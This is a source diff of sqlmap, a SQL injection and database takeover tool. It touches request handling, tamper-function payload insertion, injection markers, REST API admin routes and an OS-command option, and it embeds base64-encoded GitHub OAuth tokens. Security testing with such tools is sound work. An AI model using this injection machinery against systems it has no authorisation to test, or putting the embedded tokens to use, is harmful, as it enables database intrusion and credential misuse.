-            raise SqlmapDataException(errMsg)
-
 def _setHTTPTimeout():
     """
     Set the HTTP timeout
@@ -1536,6 +1533,14 @@ def _cleanupOptions():
     if conf.optimize:
         setOptimize()
 
+    match = re.search(INJECT_HERE_REGEX, conf.data or "")
+    if match:
+        kb.customInjectionMark = match.group(0)
+
+    match = re.search(INJECT_HERE_REGEX, conf.url or "")
+    if match:
+        kb.customInjectionMark = match.group(0)
+
     if conf.os:
         conf.os = conf.os.capitalize()
 
@@ -1792,7 +1797,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.injection = InjectionDict()
     kb.injections = []
     kb.laggingChecked = False
-    kb.lastInputMessage = None
     kb.lastParserStatus = None
 
     kb.locks = AttribDict()
@@ -2482,10 +2486,10 @@ def init():
     _resolveCrossReferences()
     _checkWebSocket()
 
+    parseTargetUrl()
     parseTargetDirect()
 
     if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
-        _setHostname()
         _setHTTPTimeout()
         _setHTTPExtraHeaders()
         _setHTTPCookies()

lib/core/settings.py

@@ -19,13 +19,12 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.2.12.0"
+VERSION = "1.2.10.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
 DESCRIPTION = "automatic SQL injection and database takeover tool"
 SITE = "http://sqlmap.org"
-DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
 DEV_EMAIL_ADDRESS = "[email protected]"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
 GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
@@ -72,7 +71,6 @@ RANDOM_INTEGER_MARKER = "[RANDINT]"
 RANDOM_STRING_MARKER = "[RANDSTR]"
 SLEEP_TIME_MARKER = "[SLEEPTIME]"
 INFERENCE_MARKER = "[INFERENCE]"
-SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
 
 PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
@@ -175,9 +173,6 @@ PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
 # Minimum time response set needed for time-comparison based on standard deviation
 MIN_TIME_RESPONSES = 30
 
-# Maximum time response set used during time-comparison based on standard deviation
-MAX_TIME_RESPONSES = 200
-
 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation
 MIN_UNION_RESPONSES = 5
 
@@ -241,7 +236,6 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
-H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
 
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -255,21 +249,20 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
 SYBASE_ALIASES = ("sybase", "sybase sql server")
 DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
 HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
-H2_ALIASES = ("h2",)
 INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
 
 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
+SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
 SUPPORTED_OS = ("linux", "windows")
 
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
 
 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
 HOST_ALIASES = ("host",)
 
-H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
+HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
 
 # Names that can't be used to name files on Windows OS
 WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -597,7 +590,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
 FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
 
 # Github OAuth token used for creating an automatic Issue for unhandled exceptions
-GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw=="
+GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
 
 # Skip unforced HashDB flush requests below the threshold number of cached items
 HASHDB_FLUSH_THRESHOLD = 32
@@ -687,7 +680,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'

lib/core/shell.py

@@ -53,34 +53,31 @@ def clearHistory():
     readline.clear_history()
 
 def saveHistory(completion=None):
+    if not readlineAvailable():
+        return
+
+    if completion == AUTOCOMPLETE_TYPE.SQL:
+        historyPath = paths.SQL_SHELL_HISTORY
+    elif completion == AUTOCOMPLETE_TYPE.OS:
+        historyPath = paths.OS_SHELL_HISTORY
+    elif completion == AUTOCOMPLETE_TYPE.API:
+        historyPath = paths.API_SHELL_HISTORY
+    else:
+        historyPath = paths.SQLMAP_SHELL_HISTORY
+
     try:
-        if not readlineAvailable():
-            return
-
-        if completion == AUTOCOMPLETE_TYPE.SQL:
-            historyPath = paths.SQL_SHELL_HISTORY
-        elif completion == AUTOCOMPLETE_TYPE.OS:
-            historyPath = paths.OS_SHELL_HISTORY
-        elif completion == AUTOCOMPLETE_TYPE.API:
-            historyPath = paths.API_SHELL_HISTORY
-        else:
-            historyPath = paths.SQLMAP_SHELL_HISTORY
-
-        try:
-            with open(historyPath, "w+"):
-                pass
-        except:
+        with open(historyPath, "w+"):
             pass
-
-        readline.set_history_length(MAX_HISTORY_LENGTH)
-        try:
-            readline.write_history_file(historyPath)
-        except IOError, msg:
-            warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
-            logger.warn(warnMsg)
-    except KeyboardInterrupt:
+    except:
         pass
 
+    readline.set_history_length(MAX_HISTORY_LENGTH)
+    try:
+        readline.write_history_file(historyPath)
+    except IOError, msg:
+        warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
+        logger.warn(warnMsg)
+
 def loadHistory(completion=None):
     if not readlineAvailable():
         return

lib/core/target.py

@@ -44,7 +44,6 @@ from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapFilePathException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapMissingPrivileges
-from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.option import _setDBMS
@@ -52,11 +51,9 @@ from lib.core.option import _setKnowledgeBaseAttributes
 from lib.core.option import _setAuthCred
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
-from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
-from lib.core.settings import INJECT_HERE_REGEX
 from lib.core.settings import JSON_RECOGNITION_REGEX
 from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
 from lib.core.settings import MULTIPART_RECOGNITION_REGEX
@@ -346,7 +343,7 @@ def _setRequestParams():
             # Url encoding of the header values should be avoided
             # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
 
-            if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
+            if httpHeader.title() == HTTP_HEADER.USER_AGENT:
                 conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
 
                 condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))
@@ -355,7 +352,7 @@ def _setRequestParams():
                     conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
                     testableParameters = True
 
-            elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
+            elif httpHeader.title() == HTTP_HEADER.REFERER:
                 conf.parameters[PLACE.REFERER] = urldecode(headerValue)
 
                 condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))
@@ -364,7 +361,7 @@ def _setRequestParams():
                     conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
                     testableParameters = True
 
-            elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
+            elif httpHeader.title() == HTTP_HEADER.HOST:
                 conf.parameters[PLACE.HOST] = urldecode(headerValue)
 
                 condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))
@@ -469,13 +466,7 @@ def _resumeDBMS():
     value = hashDBRetrieve(HASHDB_KEYS.DBMS)
 
     if not value:
-        if conf.offline:
-            errMsg = "unable to continue in offline mode "
-            errMsg += "because of lack of usable "
-            errMsg += "session data"
-            raise SqlmapNoneDataException(errMsg)
-        else:
-            return
+        return
 
     dbms = value.lower()
     dbmsVersion = [UNKNOWN_DBMS_VERSION]
@@ -754,9 +745,6 @@ def initTargetEnv():
             setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
             kb.postSpaceToPlus = '+' in original
 
-    match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "")
-    kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
-
 def setupTargetEnv():
     _createTargetDirs()
     _setRequestParams()

lib/core/threads.py

@@ -92,7 +92,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
         kb.threadException = True
         raise
     except Exception, ex:
-        if not silent and kb.get("threadContinue"):
+        if not silent:
             logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
 
             if conf.get("verbose") > 1:

lib/parse/cmdline.py

@@ -99,16 +99,16 @@ def cmdLineParser(argv=None):
                            help="Force usage of given HTTP method (e.g. PUT)")
 
         request.add_option("--data", dest="data",
-                           help="Data string to be sent through POST (e.g. \"id=1\")")
+                           help="Data string to be sent through POST")
 
         request.add_option("--param-del", dest="paramDel",
-                           help="Character used for splitting parameter values (e.g. &)")
+                           help="Character used for splitting parameter values")
 
         request.add_option("--cookie", dest="cookie",
-                           help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")
+                           help="HTTP Cookie header value")
 
         request.add_option("--cookie-del", dest="cookieDel",
-                           help="Character used for splitting cookie values (e.g. ;)")
+                           help="Character used for splitting cookie values")
 
         request.add_option("--load-cookies", dest="loadCookies",
                            help="File containing cookies in Netscape/wget format")
@@ -144,7 +144,7 @@ def cmdLineParser(argv=None):
                            help="HTTP authentication PEM cert/private key file")
 
         request.add_option("--ignore-code", dest="ignoreCode", type="int",
-                           help="Ignore (problematic) HTTP error code (e.g. 401)")
+                           help="Ignore HTTP error code (e.g. 401)")
 
         request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
                            help="Ignore system default proxy settings")
@@ -617,7 +617,7 @@ def cmdLineParser(argv=None):
                                  help="Run host OS command(s) when SQL injection is found")
 
         miscellaneous.add_option("--answers", dest="answers",
-                                 help="Set predefined answers (e.g. \"quit=N,follow=N\")")
+                                 help="Set question answers (e.g. \"quit=N,follow=N\")")
 
         miscellaneous.add_option("--beep", dest="beep", action="store_true",
                                  help="Beep on question and/or when SQL injection is found")
@@ -626,7 +626,7 @@ def cmdLineParser(argv=None):
                                  help="Clean up the DBMS from sqlmap specific UDF and tables")
 
         miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
-                                 help="Check for missing (optional) sqlmap dependencies")
+                                 help="Check for missing (non-core) sqlmap dependencies")
 
         miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
                                  help="Disable console output coloring")

lib/request/connect.py

@@ -69,7 +69,6 @@ from lib.core.dicts import POST_HINT_CONTENT_TYPES
 from lib.core.enums import ADJUST_TIME_DELAY
 from lib.core.enums import AUTH_TYPE
 from lib.core.enums import CUSTOM_LOGGING
-from lib.core.enums import HINT
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
 from lib.core.enums import NULLCONNECTION
@@ -89,7 +88,6 @@ from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import DEFAULT_CONTENT_TYPE
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
-from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import EVALCODE_KEYWORD_SUFFIX
 from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
 from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
@@ -100,7 +98,6 @@ from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
 from lib.core.settings import MAX_MURPHY_SLEEP_TIME
 from lib.core.settings import META_REFRESH_REGEX
 from lib.core.settings import MIN_TIME_RESPONSES
-from lib.core.settings import MAX_TIME_RESPONSES
 from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
@@ -362,21 +359,14 @@ class Connect(object):
             if kb.proxyAuthHeader:
                 headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
 
-            if not conf.requestFile or not target:
-                if not getHeader(headers, HTTP_HEADER.HOST):
-                    headers[HTTP_HEADER.HOST] = getHostHeader(url)
+            if not getHeader(headers, HTTP_HEADER.ACCEPT):
+                headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
 
-                if not getHeader(headers, HTTP_HEADER.ACCEPT):
-                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
+            if not getHeader(headers, HTTP_HEADER.HOST) or not target:
+                headers[HTTP_HEADER.HOST] = getHostHeader(url)
 
-                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
-                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
-
-            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
-                for header in headers:
-                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
-                        del headers[header]
-                        break
+            if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
+                headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
 
             if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                 headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
@@ -393,6 +383,10 @@ class Connect(object):
             if conf.keepAlive:
                 headers[HTTP_HEADER.CONNECTION] = "keep-alive"
 
+            # Reset header values to original in case of provided request file
+            if target and conf.requestFile:
+                headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
+
             if auxHeaders:
                 headers = forgeHeaders(auxHeaders, headers)
 
@@ -596,7 +590,7 @@ class Connect(object):
             threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
             kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
 
-            responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
+            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
 
             if responseHeaders:
                 logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -755,7 +749,7 @@ class Connect(object):
 
             responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status)
         else:
-            responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
+            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
 
         if responseHeaders:
             logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -822,14 +816,10 @@ class Connect(object):
                 conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
 
         if payload:
-            delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
-
             if not disableTampering and kb.tamperFunctions:
                 for function in kb.tamperFunctions:
-                    hints = {}
-
                     try:
-                        payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
+                        payload = function(payload=payload, headers=auxHeaders)
                     except Exception, ex:
                         errMsg = "error occurred while running tamper "
                         errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex))
@@ -842,18 +832,6 @@ class Connect(object):
 
                 value = agent.replacePayload(value, payload)
 
-                if hints:
-                    if HINT.APPEND in hints:
-                        value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND])
-
-                    if HINT.PREPEND in hints:
-                        if place == PLACE.URI:
-                            match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
-                            if match:
-                                value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
-                        else:
-                            value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
-
             logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))
 
             if place == PLACE.CUSTOM_POST and kb.postHint:
@@ -870,10 +848,10 @@ class Connect(object):
                 value = agent.replacePayload(value, payload)
             else:
                 # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
-                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
+                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
                     skip = False
 
-                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper():
+                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
                         if kb.cookieEncodeChoice is None:
                             msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]")  # Reference: https://support.microsoft.com/en-us/kb/313282
                             kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True)
@@ -962,7 +940,7 @@ class Connect(object):
                 retVal = paramString
                 match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString)
                 if match:
-                    retVal = re.sub(re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
+                    retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString)
                 else:
                     match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
                     if match:
@@ -1298,8 +1276,6 @@ class Connect(object):
         elif noteResponseTime:
             kb.responseTimes.setdefault(kb.responseTimeMode, [])
             kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
-            if len(kb.responseTimes) > MAX_TIME_RESPONSES:
-                kb.responseTimes = kb.responseTimes[-MAX_TIME_RESPONSES:]
 
         if not response and removeReflection:
             page = removeReflectiveValues(page, payload)

lib/techniques/error/use.py

@@ -332,7 +332,7 @@ def errorUse(expression, dump=False):
                     stopLimit = int(count)
 
                     infoMsg = "used SQL query returns "
-                    infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
+                    infoMsg += "%d entries" % stopLimit
                     logger.info(infoMsg)
 
             elif count and not count.isdigit():
@@ -444,11 +444,8 @@ def errorUse(expression, dump=False):
     if not value and not abortedFlag:
         value = _errorFields(expression, expressionFields, expressionFieldsList)
 
-    if value and isListLike(value):
-        if len(value) == 1 and isinstance(value[0], basestring):
-            value = unArrayizeValue(value)
-        elif len(value) > 1 and stopLimit == 1:
-            value = [value]
+    if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
+        value = unArrayizeValue(value)
 
     duration = calculateDeltaSeconds(start)
 

lib/techniques/union/use.py

@@ -258,7 +258,7 @@ def unionUse(expression, unpack=True, dump=False):
                     stopLimit = int(count)
 
                     infoMsg = "used SQL query returns "
-                    infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
+                    infoMsg += "%d entries" % stopLimit
                     logger.info(infoMsg)
 
             elif count and (not isinstance(count, basestring) or not count.isdigit()):

lib/utils/api.py

@@ -58,7 +58,7 @@ from thirdparty.bottle.bottle import server_names
 
 # Global data storage
 class DataStore(object):
-    admin_token = ""
+    admin_id = ""
     current_db = None
     tasks = dict()
     username = None
@@ -275,8 +275,8 @@ def setRestAPILog():
         logger.addHandler(LOGGER_RECORDER)
 
 # Generic functions
-def is_admin(token):
-    return DataStore.admin_token == token
+def is_admin(taskid):
+    return DataStore.admin_id == taskid
 
 @hook('before_request')
 def check_authentication():
@@ -358,7 +358,7 @@ def path_401():
 @get("/task/new")
 def task_new():
     """
-    Create a new task
+    Create new task ID
     """
     taskid = hexencode(os.urandom(8))
     remote_addr = request.remote_addr
@@ -371,7 +371,7 @@ def task_new():
 @get("/task/<taskid>/delete")
 def task_delete(taskid):
     """
-    Delete an existing task
+    Delete own task ID
     """
     if taskid in DataStore.tasks:
         DataStore.tasks.pop(taskid)
@@ -379,42 +379,39 @@ def task_delete(taskid):
         logger.debug("[%s] Deleted task" % taskid)
         return jsonize({"success": True})
     else:
-        response.status = 404
-        logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid)
-        return jsonize({"success": False, "message": "Non-existing task ID"})
+        logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid)
+        return jsonize({"success": False, "message": "Invalid task ID"})
 
 ###################
 # Admin functions #
 ###################
 
-@get("/admin/list")
-@get("/admin/<token>/list")
-def task_list(token=None):
+@get("/admin/<taskid>/list")
+def task_list(taskid=None):
     """
-    Pull task list
+    List task pull
     """
     tasks = {}
 
     for key in DataStore.tasks:
-        if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
+        if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
             tasks[key] = dejsonize(scan_status(key))["status"]
 
-    logger.debug("[%s] Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
+    logger.debug("[%s] Listed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
     return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)})
 
-@get("/admin/flush")
-@get("/admin/<token>/flush")
-def task_flush(token=None):
+@get("/admin/<taskid>/flush")
+def task_flush(taskid):
     """
     Flush task spool (delete all tasks)
     """
 
     for key in list(DataStore.tasks):
-        if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
+        if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
             DataStore.tasks[key].engine_kill()
             del DataStore.tasks[key]
 
-    logger.debug("[%s] Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
+    logger.debug("[%s] Flushed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
     return jsonize({"success": True})
 
 ##################################
@@ -437,30 +434,25 @@ def option_list(taskid):
 @post("/option/<taskid>/get")
 def option_get(taskid):
     """
-    Get value of option(s) for a certain task ID
+    Get the value of an option (command line switch) for a certain task ID
     """
     if taskid not in DataStore.tasks:
         logger.warning("[%s] Invalid task ID provided to option_get()" % taskid)
         return jsonize({"success": False, "message": "Invalid task ID"})
 
-    options = request.json or []
-    results = {}
+    option = request.json.get("option", "")
 
-    for option in options:
-        if option in DataStore.tasks[taskid].options:
-            results[option] = DataStore.tasks[taskid].options[option]
-        else:
-            logger.debug("[%s] Requested value for unknown option '%s'" % (taskid, option))
-            return jsonize({"success": False, "message": "Unknown option '%s'" % option})
-
-    logger.debug("[%s] Retrieved values for option(s) '%s'" % (taskid, ",".join(options)))
-
-    return jsonize({"success": True, "options": results})
+    if option in DataStore.tasks[taskid].options:
+        logger.debug("[%s] Retrieved value for option %s" % (taskid, option))
+        return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)})
+    else:
+        logger.debug("[%s] Requested value for unknown option %s" % (taskid, option))
+        return jsonize({"success": False, "message": "Unknown option", option: "not set"})
 
 @post("/option/<taskid>/set")
 def option_set(taskid):
     """
-    Set value of option(s) for a certain task ID
+    Set an option (command line switch) for a certain task ID
     """
 
     if taskid not in DataStore.tasks:
@@ -655,7 +647,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
     REST-JSON API server
     """
 
-    DataStore.admin_token = hexencode(os.urandom(16))
+    DataStore.admin_id = hexencode(os.urandom(16))
     DataStore.username = username
     DataStore.password = password
 
